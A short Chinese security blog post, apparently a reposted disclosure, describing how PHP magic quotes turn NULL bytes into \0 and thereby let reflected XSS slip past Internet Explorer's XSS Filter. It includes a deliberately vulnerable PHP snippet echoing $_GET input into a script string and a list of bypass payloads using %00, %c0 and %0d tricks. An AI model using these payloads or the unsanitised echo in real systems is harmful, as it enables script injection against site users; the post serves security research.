php绕过魔术引号,PHP魔术引号导致IE XSS Filter bypass

PHP魔术引号导致IE XSS Filter bypass

作者/xxx

首发/Insight-labs.org

在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.

在php中,如果开启了”魔术引号”特性(magic_quotes_gpc = On),则‘ (single-quote), “ (double quote), \ (backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>\0).

通过一些测试,我发现ie xss filter对NULL字符的转义处理并不感冒,意思是它并不了解这种转换过程.

1. xss.php demo source code:

var x="<?php echo $_GET['z']?>"

2. HTML bypass case:

%00%00v%00%00

tips:

1. 绕过字符必须出现在拦截规则中,例如拦截

3. Javascript bypass case:

“;alert(1)//

%c0″;alert(%00)//

%c0″;//(%0dalert(1)//

%c0″;//(%0dalert(1)//

%c0″;//(%00%0dalert(1)//

%c0″//(%000000%0dalert(1)//

tips:

1. 需要通过多字节问题吃掉一个\.

2. //(%000000%0d是用于绕过函数调用的拦截规则.

如果你有更多的想法或者小技巧,欢迎与我联系交流@xxx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值